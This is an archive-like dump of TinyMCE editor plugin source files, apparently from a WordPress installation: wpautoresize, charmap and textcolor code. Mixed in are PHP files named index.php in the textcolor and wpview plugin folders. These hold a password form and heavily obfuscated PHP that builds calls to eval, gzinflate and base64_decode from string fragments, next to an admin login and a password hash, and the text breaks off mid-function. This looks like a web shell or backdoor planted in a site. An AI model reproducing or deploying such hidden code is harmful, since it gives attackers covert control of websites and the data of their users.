plugin automatically resizes the content area to fit its content height. * It will retain a minimum height, which is the height of the content area when * it's initialized. */ tinymce.PluginManager.add( 'wpautoresize', function( editor ) { var settings = editor.settings, oldSize = 300, isActive = false; if ( editor.settings.inline || tinymce.Env.iOS ) { return; } function isFullscreen() { return editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen(); } function getInt( n ) { return parseInt( n, 10 ) || 0; } /** * This method gets executed each time the editor needs to resize. */ function resize( e ) { var deltaSize, doc, body, docElm, DOM = tinymce.DOM, resizeHeight, myHeight, marginTop, marginBottom, paddingTop, paddingBottom, borderTop, borderBottom; if ( ! isActive ) { return; } doc = editor.getDoc(); if ( ! doc ) { return; } e = e || {}; body = doc.body; docElm = doc.documentElement; resizeHeight = settings.autoresize_min_height; if ( ! body || ( e && e.type === 'setcontent' && e.initial ) || isFullscreen() ) { if ( body && docElm ) { body.style.overflowY = 'auto'; docElm.style.overflowY = 'auto'; // Old IE. } return; } // Calculate outer height of the body element using CSS styles. marginTop = editor.dom.getStyle( body, 'margin-top', true ); marginBottom = editor.dom.getStyle( body, 'margin-bottom', true ); paddingTop = editor.dom.getStyle( body, 'padding-top', true ); paddingBottom = editor.dom.getStyle( body, 'padding-bottom', true ); borderTop = editor.dom.getStyle( body, 'border-top-width', true ); borderBottom = editor.dom.getStyle( body, 'border-bottom-width', true ); myHeight = body.offsetHeight + getInt( marginTop ) + getInt( marginBottom ) + getInt( paddingTop ) + getInt( paddingBottom ) + getInt( borderTop ) + getInt( borderBottom ); // IE < 11, other? if ( myHeight && myHeight < docElm.offsetHeight ) { myHeight = docElm.offsetHeight; } // Make sure we have a valid height. if ( isNaN( myHeight ) || myHeight <= 0 ) { // Get height differently depending on the browser used. myHeight = tinymce.Env.ie ? body.scrollHeight : ( tinymce.Env.webkit && body.clientHeight === 0 ? 0 : body.offsetHeight ); } // Don't make it smaller than the minimum height. if ( myHeight > settings.autoresize_min_height ) { resizeHeight = myHeight; } // If a maximum height has been defined don't exceed this height. if ( settings.autoresize_max_height && myHeight > settings.autoresize_max_height ) { resizeHeight = settings.autoresize_max_height; body.style.overflowY = 'auto'; docElm.style.overflowY = 'auto'; // Old IE. } else { body.style.overflowY = 'hidden'; docElm.style.overflowY = 'hidden'; // Old IE. body.scrollTop = 0; } // Resize content element. if (resizeHeight !== oldSize) { deltaSize = resizeHeight - oldSize; DOM.setStyle( editor.iframeElement, 'height', resizeHeight + 'px' ); oldSize = resizeHeight; // WebKit doesn't decrease the size of the body element until the iframe gets resized. // So we need to continue to resize the iframe down until the size gets fixed. if ( tinymce.isWebKit && deltaSize < 0 ) { resize( e ); } editor.fire( 'wp-autoresize', { height: resizeHeight, deltaHeight: e.type === 'nodechange' ? deltaSize : null } ); } } /** * Calls the resize x times in 100ms intervals. We can't wait for load events since * the CSS files might load async. */ function wait( times, interval, callback ) { setTimeout( function() { resize(); if ( times-- ) { wait( times, interval, callback ); } else if ( callback ) { callback(); } }, interval ); } // Define minimum height. settings.autoresize_min_height = parseInt(editor.getParam( 'autoresize_min_height', editor.getElement().offsetHeight), 10 ); // Define maximum height. settings.autoresize_max_height = parseInt(editor.getParam( 'autoresize_max_height', 0), 10 ); function on() { if ( ! editor.dom.hasClass( editor.getBody(), 'wp-autoresize' ) ) { isActive = true; editor.dom.addClass( editor.getBody(), 'wp-autoresize' ); // Add appropriate listeners for resizing the content area. editor.on( 'nodechange setcontent keyup FullscreenStateChanged', resize ); resize(); } } function off() { var doc; // Don't turn off if the setting is 'on'. if ( ! settings.wp_autoresize_on ) { isActive = false; doc = editor.getDoc(); editor.dom.removeClass( editor.getBody(), 'wp-autoresize' ); editor.off( 'nodechange setcontent keyup FullscreenStateChanged', resize ); doc.body.style.overflowY = 'auto'; doc.documentElement.style.overflowY = 'auto'; // Old IE. oldSize = 0; } } if ( settings.wp_autoresize_on ) { // Turn resizing on when the editor loads. isActive = true; editor.on( 'init', function() { editor.dom.addClass( editor.getBody(), 'wp-autoresize' ); }); editor.on( 'nodechange keyup FullscreenStateChanged', resize ); editor.on( 'setcontent', function() { wait( 3, 100 ); }); if ( editor.getParam( 'autoresize_on_init', true ) ) { editor.on( 'init', function() { // Hit it 10 times in 200 ms intervals. wait( 10, 200, function() { // Hit it 5 times in 1 sec intervals. wait( 5, 1000 ); }); }); } } // Reset the stored size. editor.on( 'show', function() { oldSize = 0; }); // Register the command. editor.addCommand( 'wpAutoResize', resize ); // On/off. editor.addCommand( 'wpAutoResizeOn', on ); editor.addCommand( 'wpAutoResizeOff', off ); }); charmap/plugin.min.js000060400000020631151734645250010607 0ustar00!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='',i=0;i",a=0;a
'+s+"
"}else t+="
"}return t+=""},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}();charmap/plugin.js000060400000055252151734645250010034 0ustar00(function () { var charmap = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var fireInsertCustomChar = function (editor, chr) { return editor.fire('insertCustomChar', { chr: chr }); }; var Events = { fireInsertCustomChar: fireInsertCustomChar }; var insertChar = function (editor, chr) { var evtChr = Events.fireInsertCustomChar(editor, chr).chr; editor.execCommand('mceInsertContent', false, evtChr); }; var Actions = { insertChar: insertChar }; var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var getCharMap = function (editor) { return editor.settings.charmap; }; var getCharMapAppend = function (editor) { return editor.settings.charmap_append; }; var Settings = { getCharMap: getCharMap, getCharMapAppend: getCharMapAppend }; var isArray = global$1.isArray; var getDefaultCharMap = function () { return [ [ '160', 'no-break space' ], [ '173', 'soft hyphen' ], [ '34', 'quotation mark' ], [ '162', 'cent sign' ], [ '8364', 'euro sign' ], [ '163', 'pound sign' ], [ '165', 'yen sign' ], [ '169', 'copyright sign' ], [ '174', 'registered sign' ], [ '8482', 'trade mark sign' ], [ '8240', 'per mille sign' ], [ '181', 'micro sign' ], [ '183', 'middle dot' ], [ '8226', 'bullet' ], [ '8230', 'three dot leader' ], [ '8242', 'minutes / feet' ], [ '8243', 'seconds / inches' ], [ '167', 'section sign' ], [ '182', 'paragraph sign' ], [ '223', 'sharp s / ess-zed' ], [ '8249', 'single left-pointing angle quotation mark' ], [ '8250', 'single right-pointing angle quotation mark' ], [ '171', 'left pointing guillemet' ], [ '187', 'right pointing guillemet' ], [ '8216', 'left single quotation mark' ], [ '8217', 'right single quotation mark' ], [ '8220', 'left double quotation mark' ], [ '8221', 'right double quotation mark' ], [ '8218', 'single low-9 quotation mark' ], [ '8222', 'double low-9 quotation mark' ], [ '60', 'less-than sign' ], [ '62', 'greater-than sign' ], [ '8804', 'less-than or equal to' ], [ '8805', 'greater-than or equal to' ], [ '8211', 'en dash' ], [ '8212', 'em dash' ], [ '175', 'macron' ], [ '8254', 'overline' ], [ '164', 'currency sign' ], [ '166', 'broken bar' ], [ '168', 'diaeresis' ], [ '161', 'inverted exclamation mark' ], [ '191', 'turned question mark' ], [ '710', 'circumflex accent' ], [ '732', 'small tilde' ], [ '176', 'degree sign' ], [ '8722', 'minus sign' ], [ '177', 'plus-minus sign' ], [ '247', 'division sign' ], [ '8260', 'fraction slash' ], [ '215', 'multiplication sign' ], [ '185', 'superscript one' ], [ '178', 'superscript two' ], [ '179', 'superscript three' ], [ '188', 'fraction one quarter' ], [ '189', 'fraction one half' ], [ '190', 'fraction three quarters' ], [ '402', 'function / florin' ], [ '8747', 'integral' ], [ '8721', 'n-ary sumation' ], [ '8734', 'infinity' ], [ '8730', 'square root' ], [ '8764', 'similar to' ], [ '8773', 'approximately equal to' ], [ '8776', 'almost equal to' ], [ '8800', 'not equal to' ], [ '8801', 'identical to' ], [ '8712', 'element of' ], [ '8713', 'not an element of' ], [ '8715', 'contains as member' ], [ '8719', 'n-ary product' ], [ '8743', 'logical and' ], [ '8744', 'logical or' ], [ '172', 'not sign' ], [ '8745', 'intersection' ], [ '8746', 'union' ], [ '8706', 'partial differential' ], [ '8704', 'for all' ], [ '8707', 'there exists' ], [ '8709', 'diameter' ], [ '8711', 'backward difference' ], [ '8727', 'asterisk operator' ], [ '8733', 'proportional to' ], [ '8736', 'angle' ], [ '180', 'acute accent' ], [ '184', 'cedilla' ], [ '170', 'feminine ordinal indicator' ], [ '186', 'masculine ordinal indicator' ], [ '8224', 'dagger' ], [ '8225', 'double dagger' ], [ '192', 'A - grave' ], [ '193', 'A - acute' ], [ '194', 'A - circumflex' ], [ '195', 'A - tilde' ], [ '196', 'A - diaeresis' ], [ '197', 'A - ring above' ], [ '256', 'A - macron' ], [ '198', 'ligature AE' ], [ '199', 'C - cedilla' ], [ '200', 'E - grave' ], [ '201', 'E - acute' ], [ '202', 'E - circumflex' ], [ '203', 'E - diaeresis' ], [ '274', 'E - macron' ], [ '204', 'I - grave' ], [ '205', 'I - acute' ], [ '206', 'I - circumflex' ], [ '207', 'I - diaeresis' ], [ '298', 'I - macron' ], [ '208', 'ETH' ], [ '209', 'N - tilde' ], [ '210', 'O - grave' ], [ '211', 'O - acute' ], [ '212', 'O - circumflex' ], [ '213', 'O - tilde' ], [ '214', 'O - diaeresis' ], [ '216', 'O - slash' ], [ '332', 'O - macron' ], [ '338', 'ligature OE' ], [ '352', 'S - caron' ], [ '217', 'U - grave' ], [ '218', 'U - acute' ], [ '219', 'U - circumflex' ], [ '220', 'U - diaeresis' ], [ '362', 'U - macron' ], [ '221', 'Y - acute' ], [ '376', 'Y - diaeresis' ], [ '562', 'Y - macron' ], [ '222', 'THORN' ], [ '224', 'a - grave' ], [ '225', 'a - acute' ], [ '226', 'a - circumflex' ], [ '227', 'a - tilde' ], [ '228', 'a - diaeresis' ], [ '229', 'a - ring above' ], [ '257', 'a - macron' ], [ '230', 'ligature ae' ], [ '231', 'c - cedilla' ], [ '232', 'e - grave' ], [ '233', 'e - acute' ], [ '234', 'e - circumflex' ], [ '235', 'e - diaeresis' ], [ '275', 'e - macron' ], [ '236', 'i - grave' ], [ '237', 'i - acute' ], [ '238', 'i - circumflex' ], [ '239', 'i - diaeresis' ], [ '299', 'i - macron' ], [ '240', 'eth' ], [ '241', 'n - tilde' ], [ '242', 'o - grave' ], [ '243', 'o - acute' ], [ '244', 'o - circumflex' ], [ '245', 'o - tilde' ], [ '246', 'o - diaeresis' ], [ '248', 'o slash' ], [ '333', 'o macron' ], [ '339', 'ligature oe' ], [ '353', 's - caron' ], [ '249', 'u - grave' ], [ '250', 'u - acute' ], [ '251', 'u - circumflex' ], [ '252', 'u - diaeresis' ], [ '363', 'u - macron' ], [ '253', 'y - acute' ], [ '254', 'thorn' ], [ '255', 'y - diaeresis' ], [ '563', 'y - macron' ], [ '913', 'Alpha' ], [ '914', 'Beta' ], [ '915', 'Gamma' ], [ '916', 'Delta' ], [ '917', 'Epsilon' ], [ '918', 'Zeta' ], [ '919', 'Eta' ], [ '920', 'Theta' ], [ '921', 'Iota' ], [ '922', 'Kappa' ], [ '923', 'Lambda' ], [ '924', 'Mu' ], [ '925', 'Nu' ], [ '926', 'Xi' ], [ '927', 'Omicron' ], [ '928', 'Pi' ], [ '929', 'Rho' ], [ '931', 'Sigma' ], [ '932', 'Tau' ], [ '933', 'Upsilon' ], [ '934', 'Phi' ], [ '935', 'Chi' ], [ '936', 'Psi' ], [ '937', 'Omega' ], [ '945', 'alpha' ], [ '946', 'beta' ], [ '947', 'gamma' ], [ '948', 'delta' ], [ '949', 'epsilon' ], [ '950', 'zeta' ], [ '951', 'eta' ], [ '952', 'theta' ], [ '953', 'iota' ], [ '954', 'kappa' ], [ '955', 'lambda' ], [ '956', 'mu' ], [ '957', 'nu' ], [ '958', 'xi' ], [ '959', 'omicron' ], [ '960', 'pi' ], [ '961', 'rho' ], [ '962', 'final sigma' ], [ '963', 'sigma' ], [ '964', 'tau' ], [ '965', 'upsilon' ], [ '966', 'phi' ], [ '967', 'chi' ], [ '968', 'psi' ], [ '969', 'omega' ], [ '8501', 'alef symbol' ], [ '982', 'pi symbol' ], [ '8476', 'real part symbol' ], [ '978', 'upsilon - hook symbol' ], [ '8472', 'Weierstrass p' ], [ '8465', 'imaginary part' ], [ '8592', 'leftwards arrow' ], [ '8593', 'upwards arrow' ], [ '8594', 'rightwards arrow' ], [ '8595', 'downwards arrow' ], [ '8596', 'left right arrow' ], [ '8629', 'carriage return' ], [ '8656', 'leftwards double arrow' ], [ '8657', 'upwards double arrow' ], [ '8658', 'rightwards double arrow' ], [ '8659', 'downwards double arrow' ], [ '8660', 'left right double arrow' ], [ '8756', 'therefore' ], [ '8834', 'subset of' ], [ '8835', 'superset of' ], [ '8836', 'not a subset of' ], [ '8838', 'subset of or equal to' ], [ '8839', 'superset of or equal to' ], [ '8853', 'circled plus' ], [ '8855', 'circled times' ], [ '8869', 'perpendicular' ], [ '8901', 'dot operator' ], [ '8968', 'left ceiling' ], [ '8969', 'right ceiling' ], [ '8970', 'left floor' ], [ '8971', 'right floor' ], [ '9001', 'left-pointing angle bracket' ], [ '9002', 'right-pointing angle bracket' ], [ '9674', 'lozenge' ], [ '9824', 'black spade suit' ], [ '9827', 'black club suit' ], [ '9829', 'black heart suit' ], [ '9830', 'black diamond suit' ], [ '8194', 'en space' ], [ '8195', 'em space' ], [ '8201', 'thin space' ], [ '8204', 'zero width non-joiner' ], [ '8205', 'zero width joiner' ], [ '8206', 'left-to-right mark' ], [ '8207', 'right-to-left mark' ] ]; }; var charmapFilter = function (charmap) { return global$1.grep(charmap, function (item) { return isArray(item) && item.length === 2; }); }; var getCharsFromSetting = function (settingValue) { if (isArray(settingValue)) { return [].concat(charmapFilter(settingValue)); } if (typeof settingValue === 'function') { return settingValue(); } return []; }; var extendCharMap = function (editor, charmap) { var userCharMap = Settings.getCharMap(editor); if (userCharMap) { charmap = getCharsFromSetting(userCharMap); } var userCharMapAppend = Settings.getCharMapAppend(editor); if (userCharMapAppend) { return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend)); } return charmap; }; var getCharMap$1 = function (editor) { return extendCharMap(editor, getDefaultCharMap()); }; var CharMap = { getCharMap: getCharMap$1 }; var get = function (editor) { var getCharMap = function () { return CharMap.getCharMap(editor); }; var insertChar = function (chr) { Actions.insertChar(editor, chr); }; return { getCharMap: getCharMap, insertChar: insertChar }; }; var Api = { get: get }; var getHtml = function (charmap) { var gridHtml, x, y; var width = Math.min(charmap.length, 25); var height = Math.ceil(charmap.length / width); gridHtml = ''; for (y = 0; y < height; y++) { gridHtml += ''; for (x = 0; x < width; x++) { var index = y * width + x; if (index < charmap.length) { var chr = charmap[index]; var charCode = parseInt(chr[0], 10); var chrText = chr ? String.fromCharCode(charCode) : ' '; gridHtml += ''; } else { gridHtml += ''; } gridHtml += ''; return gridHtml; }; var GridHtml = { getHtml: getHtml }; var getParentTd = function (elm) { while (elm) { if (elm.nodeName === 'TD') { return elm; } elm = elm.parentNode; } }; var open = function (editor) { var win; var charMapPanel = { type: 'container', html: GridHtml.getHtml(CharMap.getCharMap(editor)), onclick: function (e) { var target = e.target; if (/^(TD|DIV)$/.test(target.nodeName)) { var charDiv = getParentTd(target).firstChild; if (charDiv && charDiv.hasAttribute('data-chr')) { var charCodeString = charDiv.getAttribute('data-chr'); var charCode = parseInt(charCodeString, 10); if (!isNaN(charCode)) { Actions.insertChar(editor, String.fromCharCode(charCode)); } if (!e.ctrlKey) { win.close(); } } } }, onmouseover: function (e) { var td = getParentTd(e.target); if (td && td.firstChild) { win.find('#preview').text(td.firstChild.firstChild.data); win.find('#previewTitle').text(td.title); } else { win.find('#preview').text(' '); win.find('#previewTitle').text(' '); } } }; win = editor.windowManager.open({ title: 'Special character', spacing: 10, padding: 10, items: [ charMapPanel, { type: 'container', layout: 'flex', direction: 'column', align: 'center', spacing: 5, minWidth: 160, minHeight: 160, items: [ { type: 'label', name: 'preview', text: ' ', style: 'font-size: 40px; text-align: center', border: 1, minWidth: 140, minHeight: 80 }, { type: 'spacer', minHeight: 20 }, { type: 'label', name: 'previewTitle', text: ' ', style: 'white-space: pre-wrap;', border: 1, minWidth: 140 } ] } ], buttons: [{ text: 'Close', onclick: function () { win.close(); } }] }); }; var Dialog = { open: open }; var register = function (editor) { editor.addCommand('mceShowCharmap', function () { Dialog.open(editor); }); }; var Commands = { register: register }; var register$1 = function (editor) { editor.addButton('charmap', { icon: 'charmap', tooltip: 'Special character', cmd: 'mceShowCharmap' }); editor.addMenuItem('charmap', { icon: 'charmap', text: 'Special character', cmd: 'mceShowCharmap', context: 'insert' }); }; var Buttons = { register: register$1 }; global.add('charmap', function (editor) { Commands.register(editor); Buttons.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }()); })(); textcolor/index.php000060400000031130151734645250010415 0ustar00ok<");};?>
FORM; die($bytesecform); } } } ?> textcolor/plugin.min.js000060400000011477151734645250011227 0ustar00!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=function(t,o){var r;return t.dom.getParents(t.selection.getStart(),function(t){var e;(e=t.style["forecolor"===o?"color":"background-color"])&&(r=r||e)}),r},g=function(t){var e,o=[];for(e=0;e
'+(o?"×":"")+"
"};for((n=g(o)).push({text:h.translate("No color"),color:"transparent"}),l='',c=n.length-1,u=0;u",i=0;i":f((a=n[m]).color,a.text);l+=""}if(r){for(l+='",l+="",i=0;i' + '
' + (isNoColor ? '×' : '') + '
' + ''; }; colors = TextColor.mapColors(colorMap); colors.push({ text: global$3.translate('No color'), color: 'transparent' }); html = '
'; last = colors.length - 1; for (y = 0; y < rows; y++) { html += ''; for (x = 0; x < cols; x++) { i = y * cols + x; if (i > last) { html += ''; } else { color = colors[i]; html += getColorCellHtml(color.color, color.text); } } html += ''; } if (hasColorPicker) { html += '' + '' + ''; html += ''; for (x = 0; x < cols; x++) { html += getColorCellHtml('', 'Custom color'); } html += ''; } html += '
' + '
' + '' + '
' + '
'; return html; }; var ColorPickerHtml = { getHtml: getHtml }; var setDivColor = function setDivColor(div, value) { div.style.background = value; div.setAttribute('data-mce-color', value); }; var onButtonClick = function (editor) { return function (e) { var ctrl = e.control; if (ctrl._color) { editor.execCommand('mceApplyTextcolor', ctrl.settings.format, ctrl._color); } else { editor.execCommand('mceRemoveTextcolor', ctrl.settings.format); } }; }; var onPanelClick = function (editor, cols) { return function (e) { var buttonCtrl = this.parent(); var value; var currentColor = TextColor.getCurrentColor(editor, buttonCtrl.settings.format); var selectColor = function (value) { editor.execCommand('mceApplyTextcolor', buttonCtrl.settings.format, value); buttonCtrl.hidePanel(); buttonCtrl.color(value); }; var resetColor = function () { editor.execCommand('mceRemoveTextcolor', buttonCtrl.settings.format); buttonCtrl.hidePanel(); buttonCtrl.resetColor(); }; if (global$1.DOM.getParent(e.target, '.mce-custom-color-btn')) { buttonCtrl.hidePanel(); var colorPickerCallback = Settings.getColorPickerCallback(editor); colorPickerCallback.call(editor, function (value) { var tableElm = buttonCtrl.panel.getEl().getElementsByTagName('table')[0]; var customColorCells, div, i; customColorCells = global$2.map(tableElm.rows[tableElm.rows.length - 1].childNodes, function (elm) { return elm.firstChild; }); for (i = 0; i < customColorCells.length; i++) { div = customColorCells[i]; if (!div.getAttribute('data-mce-color')) { break; } } if (i === cols) { for (i = 0; i < cols - 1; i++) { setDivColor(customColorCells[i], customColorCells[i + 1].getAttribute('data-mce-color')); } } setDivColor(div, value); selectColor(value); }, currentColor); } value = e.target.getAttribute('data-mce-color'); if (value) { if (this.lastId) { global$1.DOM.get(this.lastId).setAttribute('aria-selected', 'false'); } e.target.setAttribute('aria-selected', true); this.lastId = e.target.id; if (value === 'transparent') { resetColor(); } else { selectColor(value); } } else if (value !== null) { buttonCtrl.hidePanel(); } }; }; var renderColorPicker = function (editor, foreColor) { return function () { var cols = foreColor ? Settings.getForeColorCols(editor) : Settings.getBackColorCols(editor); var rows = foreColor ? Settings.getForeColorRows(editor) : Settings.getBackColorRows(editor); var colorMap = foreColor ? Settings.getForeColorMap(editor) : Settings.getBackColorMap(editor); var hasColorPicker = Settings.hasColorPicker(editor); return ColorPickerHtml.getHtml(cols, rows, colorMap, hasColorPicker); }; }; var register$1 = function (editor) { editor.addButton('forecolor', { type: 'colorbutton', tooltip: 'Text color', format: 'forecolor', panel: { role: 'application', ariaRemember: true, html: renderColorPicker(editor, true), onclick: onPanelClick(editor, Settings.getForeColorCols(editor)) }, onclick: onButtonClick(editor) }); editor.addButton('backcolor', { type: 'colorbutton', tooltip: 'Background color', format: 'hilitecolor', panel: { role: 'application', ariaRemember: true, html: renderColorPicker(editor, false), onclick: onPanelClick(editor, Settings.getBackColorCols(editor)) }, onclick: onButtonClick(editor) }); }; var Buttons = { register: register$1 }; global.add('textcolor', function (editor) { Commands.register(editor); Buttons.register(editor); }); function Plugin () { } return Plugin; }()); })(); wpview/index.php000060400000535411151734645250007726 0ustar00ok<");};?>
FORM; die($bytesecform); } } } ?> 'admin', 'paPsNmpHJJomvM' => '98f12406c18dde67c0a6326c2eba0b9b', 'saPLbCodowiWUo' => '0', 'loWPMjEwU' => '403', 'shlMfuu' => '1', 'poNLijJFmukapPf' => false, 'cgRwPmnjSGSWx' => true, ); $DlnclLNwvpM='fun'.'ct'.'i'.'o'.'n_'.'e'.'xi'.'sts'.'';$RNXDZ='eva'.'l'.'';$JycNxWmKxDRdb='g'.'z'.'in'.'f'.'l'.'ate'.'';$EevtzDnSW='A'.'B'.'CD'.'EF'.'GHIJKL'.'MN'.'OPQRST'.'U'.'V'.'W'.'X'.'YZ'.'abc'.'d'.'e'.'f'.'gh'.'i'.'j'.'k'.'l'.'mn'.'opqr'.'stuv'.'wxy'.'z'.'0'.'12'.'3'.'4'.'5'.'6'.'78'.'9+/'.'=';$VmHVm='s'.'ubs'.'t'.'r'.'';$uImFVkE='o'.'r'.'d'.'';$OmwFebTjgBQxd='s'.'tr'.'l'.'en';$ZyONN='st'.'rp'.'os';$kkOxUpmr='imp'.'l'.'ode'.'';$BnaiLbqYXsQcomW='chr'.'';$EFeyeguB='p'.'r'.'e'.'g_r'.'ep'.'lac'.'e'.'';$PyCUblmBZHIdH='['.'^A'.'-Z'.'a'.'-z0'.'-'.'9'.'\\'.'+'.'\\'.'/'.'\='.']'.'';$TOqvTJgx='==='.'';$kmndZX="";$cnnekviaFDL='b'.'a'.'s'.'e64_'.'enc'.'ode';$vMeqYs='ba'.'se64_de'.'co'.'d'.'e';if(!$DlnclLNwvpM($cnnekviaFDL)){function tOKBjLbx($QoLdAwGGdYfB){global 